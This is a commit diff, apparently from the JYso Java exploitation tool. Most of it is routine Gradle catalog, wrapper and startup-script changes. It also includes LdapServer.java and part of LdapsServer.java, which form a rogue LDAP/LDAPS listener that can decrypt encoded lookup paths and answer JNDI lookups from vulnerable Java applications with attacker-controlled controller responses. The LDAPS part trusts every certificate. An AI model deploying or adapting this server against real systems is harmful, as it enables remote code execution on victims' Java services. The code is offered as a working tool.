# https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format # https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format
[versions] [versions]
org-apache-tomcat-tomcat-websocket = "9.0.62" org-apache-tomcat-tomcat-websocket = "9.0.62"
org-aspectj-aspectjweaver = "1.9.7" org-aspectj-aspectjweaver = "1.9.7"
[libraries] [libraries]
org-apache-tomcat-tomcat-websocket = { module = "org.apache.tomcat:tomcat-websocket", version.ref = "org-apache-tomcat-tomcat-websocket" } org-apache-tomcat-tomcat-websocket = { module = "org.apache.tomcat:tomcat-websocket", version.ref = "org-apache-tomcat-tomcat-websocket" }
org-aspectj-aspectjweaver = { module = "org.aspectj:aspectjweaver", version.ref = "org-aspectj-aspectjweaver" } org-aspectj-aspectjweaver = { module = "org.aspectj:aspectjweaver", version.ref = "org-aspectj-aspectjweaver" }
+2 -3
View File
@@ -1,7 +1,6 @@
#Thu Apr 23 23:23:32 CST 2026
distributionBase=GRADLE_USER_HOME distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-8.7-bin.zip distributionUrl=https\://services.gradle.org/distributions/gradle-8.14.4-bin.zip
networkTimeout=10000
validateDistributionUrl=true
zipStoreBase=GRADLE_USER_HOME zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists zipStorePath=wrapper/dists
Vendored
+249 -249
View File
@@ -1,249 +1,249 @@
#!/bin/sh #!/bin/sh
# #
# Copyright © 2015-2021 the original authors. # Copyright © 2015-2021 the original authors.
# #
# Licensed under the Apache License, Version 2.0 (the "License"); # Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License. # you may not use this file except in compliance with the License.
# You may obtain a copy of the License at # You may obtain a copy of the License at
# #
# https://www.apache.org/licenses/LICENSE-2.0 # https://www.apache.org/licenses/LICENSE-2.0
# #
# Unless required by applicable law or agreed to in writing, software # Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, # distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and # See the License for the specific language governing permissions and
# limitations under the License. # limitations under the License.
# #
############################################################################## ##############################################################################
# #
# Gradle start up script for POSIX generated by Gradle. # Gradle start up script for POSIX generated by Gradle.
# #
# Important for running: # Important for running:
# #
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is # (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
# noncompliant, but you have some other compliant shell such as ksh or # noncompliant, but you have some other compliant shell such as ksh or
# bash, then to run this script, type that shell name before the whole # bash, then to run this script, type that shell name before the whole
# command line, like: # command line, like:
# #
# ksh Gradle # ksh Gradle
# #
# Busybox and similar reduced shells will NOT work, because this script # Busybox and similar reduced shells will NOT work, because this script
# requires all of these POSIX shell features: # requires all of these POSIX shell features:
# * functions; # * functions;
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», # * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
# «${var#prefix}», «${var%suffix}», and «$( cmd )»; # «${var#prefix}», «${var%suffix}», and «$( cmd )»;
# * compound commands having a testable exit status, especially «case»; # * compound commands having a testable exit status, especially «case»;
# * various built-in commands including «command», «set», and «ulimit». # * various built-in commands including «command», «set», and «ulimit».
# #
# Important for patching: # Important for patching:
# #
# (2) This script targets any POSIX shell, so it avoids extensions provided # (2) This script targets any POSIX shell, so it avoids extensions provided
# by Bash, Ksh, etc; in particular arrays are avoided. # by Bash, Ksh, etc; in particular arrays are avoided.
# #
# The "traditional" practice of packing multiple parameters into a # The "traditional" practice of packing multiple parameters into a
# space-separated string is a well documented source of bugs and security # space-separated string is a well documented source of bugs and security
# problems, so this is (mostly) avoided, by progressively accumulating # problems, so this is (mostly) avoided, by progressively accumulating
# options in "$@", and eventually passing that to Java. # options in "$@", and eventually passing that to Java.
# #
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, # Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; # and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
# see the in-line comments for details. # see the in-line comments for details.
# #
# There are tweaks for specific operating systems such as AIX, CygWin, # There are tweaks for specific operating systems such as AIX, CygWin,
# Darwin, MinGW, and NonStop. # Darwin, MinGW, and NonStop.
# #
# (3) This script is generated from the Groovy template # (3) This script is generated from the Groovy template
# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
# within the Gradle project. # within the Gradle project.
# #
# You can find Gradle at https://github.com/gradle/gradle/. # You can find Gradle at https://github.com/gradle/gradle/.
# #
############################################################################## ##############################################################################
# Attempt to set APP_HOME # Attempt to set APP_HOME
# Resolve links: $0 may be a link # Resolve links: $0 may be a link
app_path=$0 app_path=$0
# Need this for daisy-chained symlinks. # Need this for daisy-chained symlinks.
while while
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
[ -h "$app_path" ] [ -h "$app_path" ]
do do
ls=$( ls -ld "$app_path" ) ls=$( ls -ld "$app_path" )
link=${ls#*' -> '} link=${ls#*' -> '}
case $link in #( case $link in #(
/*) app_path=$link ;; #( /*) app_path=$link ;; #(
*) app_path=$APP_HOME$link ;; *) app_path=$APP_HOME$link ;;
esac esac
done done
# This is normally unused # This is normally unused
# shellcheck disable=SC2034 # shellcheck disable=SC2034
APP_BASE_NAME=${0##*/} APP_BASE_NAME=${0##*/}
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit
# Use the maximum available, or set MAX_FD != -1 to use that value. # Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD=maximum MAX_FD=maximum
warn () { warn () {
echo "$*" echo "$*"
} >&2 } >&2
die () { die () {
echo echo
echo "$*" echo "$*"
echo echo
exit 1 exit 1
} >&2 } >&2
# OS specific support (must be 'true' or 'false'). # OS specific support (must be 'true' or 'false').
cygwin=false cygwin=false
msys=false msys=false
darwin=false darwin=false
nonstop=false nonstop=false
case "$( uname )" in #( case "$( uname )" in #(
CYGWIN* ) cygwin=true ;; #( CYGWIN* ) cygwin=true ;; #(
Darwin* ) darwin=true ;; #( Darwin* ) darwin=true ;; #(
MSYS* | MINGW* ) msys=true ;; #( MSYS* | MINGW* ) msys=true ;; #(
NONSTOP* ) nonstop=true ;; NONSTOP* ) nonstop=true ;;
esac esac
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
# Determine the Java command to use to start the JVM. # Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables # IBM's JDK on AIX uses strange locations for the executables
JAVACMD=$JAVA_HOME/jre/sh/java JAVACMD=$JAVA_HOME/jre/sh/java
else else
JAVACMD=$JAVA_HOME/bin/java JAVACMD=$JAVA_HOME/bin/java
fi fi
if [ ! -x "$JAVACMD" ] ; then if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the Please set the JAVA_HOME variable in your environment to match the
location of your Java installation." location of your Java installation."
fi fi
else else
JAVACMD=java JAVACMD=java
if ! command -v java >/dev/null 2>&1 if ! command -v java >/dev/null 2>&1
then then
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the Please set the JAVA_HOME variable in your environment to match the
location of your Java installation." location of your Java installation."
fi fi
fi fi
# Increase the maximum file descriptors if we can. # Increase the maximum file descriptors if we can.
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
case $MAX_FD in #( case $MAX_FD in #(
max*) max*)
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045 # shellcheck disable=SC2039,SC3045
MAX_FD=$( ulimit -H -n ) || MAX_FD=$( ulimit -H -n ) ||
warn "Could not query maximum file descriptor limit" warn "Could not query maximum file descriptor limit"
esac esac
case $MAX_FD in #( case $MAX_FD in #(
'' | soft) :;; #( '' | soft) :;; #(
*) *)
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045 # shellcheck disable=SC2039,SC3045
ulimit -n "$MAX_FD" || ulimit -n "$MAX_FD" ||
warn "Could not set maximum file descriptor limit to $MAX_FD" warn "Could not set maximum file descriptor limit to $MAX_FD"
esac esac
fi fi
# Collect all arguments for the java command, stacking in reverse order: # Collect all arguments for the java command, stacking in reverse order:
# * args from the command line # * args from the command line
# * the main class name # * the main class name
# * -classpath # * -classpath
# * -D...appname settings # * -D...appname settings
# * --module-path (only if needed) # * --module-path (only if needed)
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. # * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
# For Cygwin or MSYS, switch paths to Windows format before running java # For Cygwin or MSYS, switch paths to Windows format before running java
if "$cygwin" || "$msys" ; then if "$cygwin" || "$msys" ; then
APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" )
JAVACMD=$( cygpath --unix "$JAVACMD" ) JAVACMD=$( cygpath --unix "$JAVACMD" )
# Now convert the arguments - kludge to limit ourselves to /bin/sh # Now convert the arguments - kludge to limit ourselves to /bin/sh
for arg do for arg do
if if
case $arg in #( case $arg in #(
-*) false ;; # don't mess with options #( -*) false ;; # don't mess with options #(
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
[ -e "$t" ] ;; #( [ -e "$t" ] ;; #(
*) false ;; *) false ;;
esac esac
then then
arg=$( cygpath --path --ignore --mixed "$arg" ) arg=$( cygpath --path --ignore --mixed "$arg" )
fi fi
# Roll the args list around exactly as many times as the number of # Roll the args list around exactly as many times as the number of
# args, so each arg winds up back in the position where it started, but # args, so each arg winds up back in the position where it started, but
# possibly modified. # possibly modified.
# #
# NB: a `for` loop captures its iteration list before it begins, so # NB: a `for` loop captures its iteration list before it begins, so
# changing the positional parameters here affects neither the number of # changing the positional parameters here affects neither the number of
# iterations, nor the values presented in `arg`. # iterations, nor the values presented in `arg`.
shift # remove old arg shift # remove old arg
set -- "$@" "$arg" # push replacement arg set -- "$@" "$arg" # push replacement arg
done done
fi fi
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
# Collect all arguments for the java command: # Collect all arguments for the java command:
# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
# and any embedded shellness will be escaped. # and any embedded shellness will be escaped.
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
# treated as '${Hostname}' itself on the command line. # treated as '${Hostname}' itself on the command line.
set -- \ set -- \
"-Dorg.gradle.appname=$APP_BASE_NAME" \ "-Dorg.gradle.appname=$APP_BASE_NAME" \
-classpath "$CLASSPATH" \ -classpath "$CLASSPATH" \
org.gradle.wrapper.GradleWrapperMain \ org.gradle.wrapper.GradleWrapperMain \
"$@" "$@"
# Stop when "xargs" is not available. # Stop when "xargs" is not available.
if ! command -v xargs >/dev/null 2>&1 if ! command -v xargs >/dev/null 2>&1
then then
die "xargs is not available" die "xargs is not available"
fi fi
# Use "xargs" to parse quoted args. # Use "xargs" to parse quoted args.
# #
# With -n1 it outputs one arg per line, with the quotes and backslashes removed. # With -n1 it outputs one arg per line, with the quotes and backslashes removed.
# #
# In Bash we could simply go: # In Bash we could simply go:
# #
# readarray ARGS < <( xargs -n1 <<<"$var" ) && # readarray ARGS < <( xargs -n1 <<<"$var" ) &&
# set -- "${ARGS[@]}" "$@" # set -- "${ARGS[@]}" "$@"
# #
# but POSIX shell has neither arrays nor command substitution, so instead we # but POSIX shell has neither arrays nor command substitution, so instead we
# post-process each arg (as a line of input to sed) to backslash-escape any # post-process each arg (as a line of input to sed) to backslash-escape any
# character that might be a shell metacharacter, then use eval to reverse # character that might be a shell metacharacter, then use eval to reverse
# that process (while maintaining the separation between arguments), and wrap # that process (while maintaining the separation between arguments), and wrap
# the whole thing up as a single "set" statement. # the whole thing up as a single "set" statement.
# #
# This will of course break if any of these variables contains a newline or # This will of course break if any of these variables contains a newline or
# an unmatched quote. # an unmatched quote.
# #
eval "set -- $( eval "set -- $(
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
xargs -n1 | xargs -n1 |
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
tr '\n' ' ' tr '\n' ' '
)" '"$@"' )" '"$@"'
exec "$JAVACMD" "$@" exec "$JAVACMD" "$@"
Vendored
+92 -92
View File
@@ -1,92 +1,92 @@
@rem @rem
@rem Copyright 2015 the original author or authors. @rem Copyright 2015 the original author or authors.
@rem @rem
@rem Licensed under the Apache License, Version 2.0 (the "License"); @rem Licensed under the Apache License, Version 2.0 (the "License");
@rem you may not use this file except in compliance with the License. @rem you may not use this file except in compliance with the License.
@rem You may obtain a copy of the License at @rem You may obtain a copy of the License at
@rem @rem
@rem https://www.apache.org/licenses/LICENSE-2.0 @rem https://www.apache.org/licenses/LICENSE-2.0
@rem @rem
@rem Unless required by applicable law or agreed to in writing, software @rem Unless required by applicable law or agreed to in writing, software
@rem distributed under the License is distributed on an "AS IS" BASIS, @rem distributed under the License is distributed on an "AS IS" BASIS,
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@rem See the License for the specific language governing permissions and @rem See the License for the specific language governing permissions and
@rem limitations under the License. @rem limitations under the License.
@rem @rem
@if "%DEBUG%"=="" @echo off @if "%DEBUG%"=="" @echo off
@rem ########################################################################## @rem ##########################################################################
@rem @rem
@rem Gradle startup script for Windows @rem Gradle startup script for Windows
@rem @rem
@rem ########################################################################## @rem ##########################################################################
@rem Set local scope for the variables with windows NT shell @rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0 set DIRNAME=%~dp0
if "%DIRNAME%"=="" set DIRNAME=. if "%DIRNAME%"=="" set DIRNAME=.
@rem This is normally unused @rem This is normally unused
set APP_BASE_NAME=%~n0 set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME% set APP_HOME=%DIRNAME%
@rem Resolve any "." and ".." in APP_HOME to make it shorter. @rem Resolve any "." and ".." in APP_HOME to make it shorter.
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
@rem Find java.exe @rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1 %JAVA_EXE% -version >NUL 2>&1
if %ERRORLEVEL% equ 0 goto execute if %ERRORLEVEL% equ 0 goto execute
echo. 1>&2 echo. 1>&2
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
echo. 1>&2 echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2 echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2 echo location of your Java installation. 1>&2
goto fail goto fail
:findJavaFromJavaHome :findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=% set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto execute if exist "%JAVA_EXE%" goto execute
echo. 1>&2 echo. 1>&2
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
echo. 1>&2 echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2 echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2 echo location of your Java installation. 1>&2
goto fail goto fail
:execute :execute
@rem Setup the command line @rem Setup the command line
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
@rem Execute Gradle @rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
:end :end
@rem End local scope for the variables with windows NT shell @rem End local scope for the variables with windows NT shell
if %ERRORLEVEL% equ 0 goto mainEnd if %ERRORLEVEL% equ 0 goto mainEnd
:fail :fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code! rem the _cmd.exe /c_ return code!
set EXIT_CODE=%ERRORLEVEL% set EXIT_CODE=%ERRORLEVEL%
if %EXIT_CODE% equ 0 set EXIT_CODE=1 if %EXIT_CODE% equ 0 set EXIT_CODE=1
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
exit /b %EXIT_CODE% exit /b %EXIT_CODE%
:mainEnd :mainEnd
if "%OS%"=="Windows_NT" endlocal if "%OS%"=="Windows_NT" endlocal
:omega :omega
+1 -1
View File
@@ -1 +1 @@
rootProject.name = 'JYso' rootProject.name = 'JYso'
File diff suppressed because it is too large Load Diff
+121 -121
View File
@@ -1,122 +1,122 @@
package com.qi4l.JYso; package com.qi4l.JYso;
import com.qi4l.JYso.controllers.LdapController; import com.qi4l.JYso.controllers.LdapController;
import com.qi4l.JYso.controllers.LdapMapping; import com.qi4l.JYso.controllers.LdapMapping;
import com.qi4l.JYso.controllers.utils.JNDIUtils; import com.qi4l.JYso.controllers.utils.JNDIUtils;
import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.Config.Config;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import org.reflections.Reflections; import org.reflections.Reflections;
import javax.net.ServerSocketFactory; import javax.net.ServerSocketFactory;
import javax.net.SocketFactory; import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory; import javax.net.ssl.SSLSocketFactory;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.net.InetAddress; import java.net.InetAddress;
import java.util.Set; import java.util.Set;
import java.util.TreeMap; import java.util.TreeMap;
import static com.qi4l.JYso.gadgets.Config.Config.*; import static com.qi4l.JYso.gadgets.Config.Config.*;
import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode; import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode;
import static org.fusesource.jansi.Ansi.ansi; import static org.fusesource.jansi.Ansi.ansi;
public class LdapServer extends InMemoryOperationInterceptor { public class LdapServer extends InMemoryOperationInterceptor {
public static TreeMap<String, LdapController> routes = new TreeMap<>(); public static TreeMap<String, LdapController> routes = new TreeMap<>();
public LdapServer() throws Exception { public LdapServer() throws Exception {
//find all classes annotated with @LdapMapping //find all classes annotated with @LdapMapping
Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName()) Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName())
.getTypesAnnotatedWith(LdapMapping.class); .getTypesAnnotatedWith(LdapMapping.class);
//instantiate them and store in the routes map //instantiate them and store in the routes map
for (Class<?> controller : controllers) { for (Class<?> controller : controllers) {
Constructor<?> cons = controller.getConstructor(); Constructor<?> cons = controller.getConstructor();
LdapController instance = (LdapController) cons.newInstance(); LdapController instance = (LdapController) cons.newInstance();
String[] mappings = controller.getAnnotation(LdapMapping.class).uri(); String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
for (String mapping : mappings) { for (String mapping : mappings) {
if (mapping.startsWith("/")) { if (mapping.startsWith("/")) {
mapping = mapping.substring(1); //remove first forward slash mapping = mapping.substring(1); //remove first forward slash
routes.put(mapping, instance); routes.put(mapping, instance);
} }
} }
} }
} }
public static void start() { public static void start() {
try { try {
InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com"); InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com");
serverConfig.setListenerConfigs(new InMemoryListenerConfig( serverConfig.setListenerConfigs(new InMemoryListenerConfig(
"listen", "listen",
InetAddress.getByName("0.0.0.0"), InetAddress.getByName("0.0.0.0"),
Config.ldapPort, Config.ldapPort,
ServerSocketFactory.getDefault(), ServerSocketFactory.getDefault(),
SocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault())); (SSLSocketFactory) SSLSocketFactory.getDefault()));
if (!USER.equals("") || !PASSWD.equals("")) { if (!USER.equals("") || !PASSWD.equals("")) {
serverConfig.addAdditionalBindCredentials(USER, PASSWD); serverConfig.addAdditionalBindCredentials(USER, PASSWD);
} }
//添加操作拦截器 //添加操作拦截器
//将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。 //将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。
serverConfig.addInMemoryOperationInterceptor(new LdapServer()); serverConfig.addInMemoryOperationInterceptor(new LdapServer());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
ds.startListening(); ds.startListening();
System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >> " + Config.ldapPort + "...")); System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >> " + Config.ldapPort + "..."));
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
} }
} }
@Override @Override
public void processSearchResult(InMemoryInterceptedSearchResult result) { public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base; String base;
if (!ROUTE.equals("")) { if (!ROUTE.equals("")) {
base = ROUTE; base = ROUTE;
} else { } else {
base = result.getRequest().getBaseDN(); base = result.getRequest().getBaseDN();
} }
try { try {
if (!AESkey.equals("123")) { if (!AESkey.equals("123")) {
base = base64Decode(base); base = base64Decode(base);
base = JNDIUtils.decrypt(base, AESkey); base = JNDIUtils.decrypt(base, AESkey);
} }
} catch (Exception AESerr) { } catch (Exception AESerr) {
} }
//收到ldap请求 //收到ldap请求
//System.out.println(ansi().render("@|green [+] Received LDAP Query : |@" + base)); //System.out.println(ansi().render("@|green [+] Received LDAP Query : |@" + base));
LdapController controller = null; LdapController controller = null;
//find controller //find controller
//根据请求的路径从route中匹配相应的controller //根据请求的路径从route中匹配相应的controller
for (String key : routes.keySet()) { for (String key : routes.keySet()) {
//compare using wildcard at the end //compare using wildcard at the end
if (base.toLowerCase().startsWith(key)) { if (base.toLowerCase().startsWith(key)) {
controller = routes.get(key); controller = routes.get(key);
break; break;
} }
} }
if (controller == null) { if (controller == null) {
System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base)); System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base));
return; return;
} }
try { try {
//从控制器中进行返回 //从控制器中进行返回
controller.process(base); controller.process(base);
controller.sendResult(result, base); controller.sendResult(result, base);
} catch (Exception e1) { } catch (Exception e1) {
System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage())); System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage()));
} }
} }
} }
+58 -58
View File
@@ -1,59 +1,59 @@
package com.qi4l.JYso; package com.qi4l.JYso;
import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.Config.Config;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.util.ssl.KeyStoreKeyManager; import com.unboundid.util.ssl.KeyStoreKeyManager;
import com.unboundid.util.ssl.SSLUtil; import com.unboundid.util.ssl.SSLUtil;
import com.unboundid.util.ssl.TrustAllTrustManager; import com.unboundid.util.ssl.TrustAllTrustManager;
import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.LogManager;
import static org.fusesource.jansi.Ansi.ansi; import static org.fusesource.jansi.Ansi.ansi;
public class LdapsServer { public class LdapsServer {
private static final Logger log = LogManager.getLogger(LdapsServer.class); private static final Logger log = LogManager.getLogger(LdapsServer.class);
private final String certFile; private final String certFile;
private final String keyPass; private final String keyPass;
public LdapsServer(String certFile, String keyPass) { public LdapsServer(String certFile, String keyPass) {
this.certFile = certFile; this.certFile = certFile;
this.keyPass = keyPass; this.keyPass = keyPass;
} }
public static void start() { public static void start() {
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "...")); System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "..."));
new LdapsServer(Config.certFile, Config.keyPass).run(); new LdapsServer(Config.certFile, Config.keyPass).run();
} }
public void run() { public void run() {
// 设置JDK信任证书 // 设置JDK信任证书
System.setProperty("javax.net.ssl.trustStore", certFile); System.setProperty("javax.net.ssl.trustStore", certFile);
System.setProperty("javax.net.ssl.trustStorePassword", keyPass); System.setProperty("javax.net.ssl.trustStorePassword", keyPass);
try { try {
SSLUtil serverSSLUtil = new SSLUtil( SSLUtil serverSSLUtil = new SSLUtil(
new KeyStoreKeyManager(certFile, keyPass.toCharArray()), new KeyStoreKeyManager(certFile, keyPass.toCharArray()),
new TrustAllTrustManager() new TrustAllTrustManager()
); );
SSLUtil clientSSLUtil = new SSLUtil(new TrustAllTrustManager()); SSLUtil clientSSLUtil = new SSLUtil(new TrustAllTrustManager());
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com"); InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(InMemoryListenerConfig.createLDAPSConfig( config.setListenerConfigs(InMemoryListenerConfig.createLDAPSConfig(
